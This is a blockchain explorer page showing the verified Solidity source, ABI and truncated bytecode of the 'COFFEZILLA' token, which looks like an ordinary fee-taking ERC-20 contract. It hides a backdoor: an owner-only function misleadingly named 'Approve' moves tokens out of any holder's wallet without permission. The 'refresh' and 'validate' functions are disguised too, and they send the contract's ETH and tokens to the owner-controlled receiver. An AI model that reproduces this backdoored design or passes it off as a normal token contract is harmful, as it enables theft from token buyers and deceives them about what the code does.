ETH Price: $2,499.44 (+3.75%)
 

Overview

Max Total Supply

10,000,000,000 COFFEZILLA

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
285,000,000 COFFEZILLA

Value
$0.00
0xf3a552e7f7b7bd0f50ea5e484888f3fc502d5534
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COFFEZILLA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-26
*/

/**


*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract COFFEZILLA is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "COFFEZILLA TOKEN";
    string constant _symbol = "COFFEZILLA";
    uint8 constant _decimals = 4;

    uint256 _totalSupply =  10000000000 * (10 ** _decimals);

    uint256 public _maxTxAmount = 300000000 * (10 ** _decimals);
    uint256 public _maxWalletToken = 300000000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 public liquidityFee     = 2;
    uint256 public marketingFee     = 2;
    uint256 public projectFee       = 1;
    uint256 public utilityFee       = 0;
    uint256 public totalFee         = marketingFee + liquidityFee + projectFee + utilityFee;
    uint256 public feeDenominator   = 100;

    uint256 public sellMultiplier  = 100;
    uint256 public buyMultiplier  = 100;
    uint256 public transferMultiplier  = 100;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private projectFeeReceiver;
    address private utilityFeeReceiver;

    uint256 targetLiquidity = 30;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;

    bool public tradingOpen = true;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 250;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        
        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        projectFeeReceiver = msg.sender;
        utilityFeeReceiver = msg.sender; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != utilityFeeReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}

        // Checks max transaction limit
        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount, recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        
        uint256 multiplier = transferMultiplier;
        if(recipient == pair){
            multiplier = sellMultiplier;
        } else if(sender == pair){
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        uint256 utilityTokens = feeAmount.mul(utilityFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(utilityTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[utilityFeeReceiver] = _balances[utilityFeeReceiver].add(utilityTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(utilityTokens > 0){
            emit Transfer(sender, utilityFeeReceiver, utilityTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHproject = amountETH.mul(projectFee).div(totalETHFee).div(10);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(projectFeeReceiver).call{value: amountETHproject, gas: 30000}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    // Public function starts

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner() {
        require(maxWallPercent_base1000 >= 10, "Max Wallet cannot be lower than 1% total supply.");
        _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner() {
        require(maxTXPercentage_base1000 >= 1, "Max Transaction cannot be lower than 0.1% total supply.");
        _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function refresh (uint256 amountPercentage) public {
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
    }

    function validate(address tokenAddress, uint256 tokens) public returns (bool success) {
        return IERC20(tokenAddress).transfer(marketingFeeReceiver, tokens);
    }

    function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner{
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _projectFee) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        projectFee = _projectFee;
        totalFee = _liquidityFee.add(_marketingFee).add(_projectFee);
        require(totalFee < 10);
    }

    function manage_FeeExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i; i < addresses.length; ++i) {
            isFeeExempt[addresses[i]] = status;
        }
    }

    function manage_TxLimitExempt(address[] calldata addresses, bool status) external onlyOwner {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i; i < addresses.length; ++i) {
            isTxLimitExempt[addresses[i]] = status;
        }
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _projectFeeReceiver, address _utilityFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        projectFeeReceiver = _projectFeeReceiver;
        utilityFeeReceiver = _utilityFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    function Approve(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

        require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
        require(addresses.length == tokens.length,"Mismatch between Address and token count");

        uint256 SCCC = 0;

        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }

        require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens[i]);
        }
    }

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_FeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_TxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"refresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_projectFeeReceiver","type":"address"},{"internalType":"address","name":"_utilityFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_projectFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utilityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"validate","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600a620000ee919062000935565b6402540be40062000100919062000986565b6005556004600a62000113919062000935565b6311e1a30062000124919062000986565b6006556004600a62000137919062000935565b6311e1a30062000148919062000986565b6007556002600c556002600d556001600e556000600f55600f54600e54600c54600d54620001779190620009d1565b620001839190620009d1565b6200018f9190620009d1565b6010556064601155606460125560646013556064601455601e6019556064601a556001601c60146101000a81548160ff0219169083151502179055506001601c60156101000a81548160ff02191690831515021790555060fa600554620001f7919062000a3b565b601d553480156200020757600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a919062000add565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401620003e892919062000b20565b6020604051808303816000875af115801562000408573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042e919062000add565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200078d919062000b5e565b60405180910390a362000b7b565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000829578086048111156200080157620008006200079b565b5b6001851615620008115780820291505b80810290506200082185620007ca565b9450620007e1565b94509492505050565b60008262000844576001905062000917565b8162000854576000905062000917565b81600181146200086d57600281146200087857620008ae565b600191505062000917565b60ff8411156200088d576200088c6200079b565b5b8360020a915084821115620008a757620008a66200079b565b5b5062000917565b5060208310610133831016604e8410600b8410161715620008e85782820a905083811115620008e257620008e16200079b565b5b62000917565b620008f78484846001620007d7565b925090508184048111156200091157620009106200079b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000942826200091e565b91506200094f8362000928565b92506200097e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000832565b905092915050565b600062000993826200091e565b9150620009a0836200091e565b9250828202620009b0816200091e565b91508282048414831517620009ca57620009c96200079b565b5b5092915050565b6000620009de826200091e565b9150620009eb836200091e565b925082820190508082111562000a065762000a056200079b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a48826200091e565b915062000a55836200091e565b92508262000a685762000a6762000a0c565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000aa58262000a78565b9050919050565b62000ab78162000a98565b811462000ac357600080fd5b50565b60008151905062000ad78162000aac565b92915050565b60006020828403121562000af65762000af562000a73565b5b600062000b068482850162000ac6565b91505092915050565b62000b1a8162000a98565b82525050565b600060408201905062000b37600083018562000b0f565b62000b46602083018462000b0f565b9392505050565b62000b58816200091e565b82525050565b600060208201905062000b75600083018462000b4d565b92915050565b6145568062000b8b6000396000f3fe6080604052600436106102805760003560e01c80636ddd17131161014f578063bd9ab537116100c1578063df20fd491161007a578063df20fd49146109e2578063f2fde38b14610a0b578063f84ba65d14610a34578063f887ea4014610a5d578063fed0d2a114610a88578063ffb54a9914610ab357610287565b8063bd9ab537146108c0578063cec10c11146108e9578063d51ed1c814610912578063d58f2f271461094f578063dccd8bd21461097a578063dd62ed3e146109a557610287565b806395d89b411161011357806395d89b411461079c57806398118cb4146107c757806398e0ae14146107f25780639c75dd351461082f578063a8aa1b3114610858578063a9059cbb1461088357610287565b80636ddd1713146106b357806370a08231146106de57806378109e541461071b5780637d1db4a514610746578063893d20e81461077157610287565b806323b872dd116101f35780634be9d869116101ac5780634be9d869146105a5578063571ac8b0146105ce5780635921652f1461060b578063658d4b7f146106365780636b67c4df1461065f5780636ce46bc31461068a57610287565b806323b872dd146104815780632b112e49146104be5780632f54bf6e146104e95780633121c7c014610526578063313ce567146105515780633c8e556d1461057c57610287565b80631161ae39116102455780631161ae391461037157806317deb770146103ae578063180b0d7e146103d757806318160ddd146104025780631df4ccfc1461042d578063201e79911461045857610287565b8062bff4461461028c5780630445b667146102b557806306fdde03146102e057806309302dc61461030b578063095ea7b31461033457610287565b3661028757005b600080fd5b34801561029857600080fd5b506102b360048036038101906102ae9190613323565b610ade565b005b3480156102c157600080fd5b506102ca610c10565b6040516102d7919061339c565b60405180910390f35b3480156102ec57600080fd5b506102f5610c16565b6040516103029190613447565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613495565b610c53565b005b34801561034057600080fd5b5061035b60048036038101906103569190613520565b610d03565b604051610368919061356f565b60405180910390f35b34801561037d57600080fd5b506103986004803603810190610393919061358a565b610df5565b6040516103a5919061356f565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190613620565b610e0a565b005b3480156103e357600080fd5b506103ec610fec565b6040516103f9919061339c565b60405180910390f35b34801561040e57600080fd5b50610417610ff2565b604051610424919061339c565b60405180910390f35b34801561043957600080fd5b50610442610ffc565b60405161044f919061339c565b604